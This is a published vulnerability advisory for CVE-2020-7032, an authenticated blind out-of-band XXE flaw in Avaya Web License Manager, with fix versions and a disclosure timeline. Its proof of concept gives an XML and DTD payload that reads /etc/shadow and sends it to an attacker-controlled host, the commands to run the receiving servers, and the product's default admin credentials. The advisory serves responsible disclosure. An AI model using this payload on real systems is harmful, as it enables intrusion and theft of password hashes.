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SEC Consult SA-20201117-0 :: Blind Out-Of-Band XML External Entity Injection in Avaya Web License Manager

From: SEC Consult Vulnerability Lab <research () sec-consult com>

Date: Tue, 17 Nov 2020 20:30:10 +0000

SEC Consult Vulnerability Lab Security Advisory < 20201117-0 >
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title: Blind Out-Of-Band XML External Entity Injection (Authenticated)
product: Avaya Web License Manager
vulnerable version: 6.x, 7.0 through 7.1.3.6, 8.0 through 8.1.2.0.0
fixed version: 7.1.3.7 and 8.1.3
CVE number: CVE-2020-7032
impact: medium (6.5)
homepage: <https://www.avaya.com/en/>
found: 03/2020
by: M. Koplin (Office Munich)
SEC Consult Vulnerability Lab

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Vendor description:

"As a global leader in delivering superior communications experiences, Avaya provides the most complete portfolio of software and services for multi-touch contact center and unified communications offered on premises, in the cloud, or a hybrid. Today's digital world centers on communications enablement, and no other company is better positioned to do this than Avaya."

Source: <https://www.avaya.com/en/>

Business recommendation:

The vendor provides a patch for the Avaya Web License Manager which should be installed immediately.

SEC Consult recommends to perform a thorough security review conducted by security professionals to identify and resolve all security issues.

Vulnerability overview/description:

1) Blind Out-Of-Band XML External Entity Injection (CVE-2020-7032)
This vulnerability within the Avaya Web License Manager (WebLM) allows an authenticated user to read arbitrary files in the context of the Webserver (Tomcat) by uploading a specially crafted XML file within the License upload functionality. Accessible sensitive files that can be read are for example /etc/shadow, SSH keys or other configuration files.

Proof of concept:

1) Blind Out-Of-Band XML External Entity Injection (CVE-2020-7032)
Login as a user to <https://sip/WebLM/>, and navigate to "Install License". If WebLM has never been used before or not hardened, the default credentials are admin:weblmadmin

Create an XML file like the following:

```
<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://SATTACKER\_IP/xxe\_file.dtd";>
%asd;
]>
<a>{rrrr}</a>
```

and a DTD file like:

```
<!ENTITY % d SYSTEM "file:///etc/shadow">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'http://SATTACKER\_IP:2121/&d&apos;>">
```

Start a webserver, e.g. SimpleHTTPServer

```
python -m SimpleHTTPServer 80
```

and an FTP server like GO XXE FTP Server

```
./xxeserv 2121
```

Upload the crafted XML file by clicking the install button.

Vulnerable / tested versions:

The following version has been tested:
* Avaya Web License Manager 6.3

The vendor doesn't support versions < 7.x. Probably all versions <7 are affected.

Vendor contact timeline:

2020-03-18: Contacting vendor through securityalerts () avaya com
2020-03-19: Vendor replied and started the process to verify the vulnerability
2020-04-03: Second mail to vendor to check if they have verified the issue
2020-05-18: Release of Hotfix for WebLM (embedded with SMGR) version 8.1.2.x
2020-07-01: Advisory release postponed, due to a delayed patch for version 7
2020-11-16: Patch release for version 7 and 8 of WebLM standalone and SMGR
2020-11-17: Publication of the advisory.

Solution:

Version 6: Upgrade to a new major release
Version 7: Upgrade to 7.1.3.7 or later
Version 8: Install hot fix #7 or upgrade to version 8.1.3

Workaround:

None.

Advisory URL:

<https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html>

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The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies.

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EOF M. Koplin / @2020

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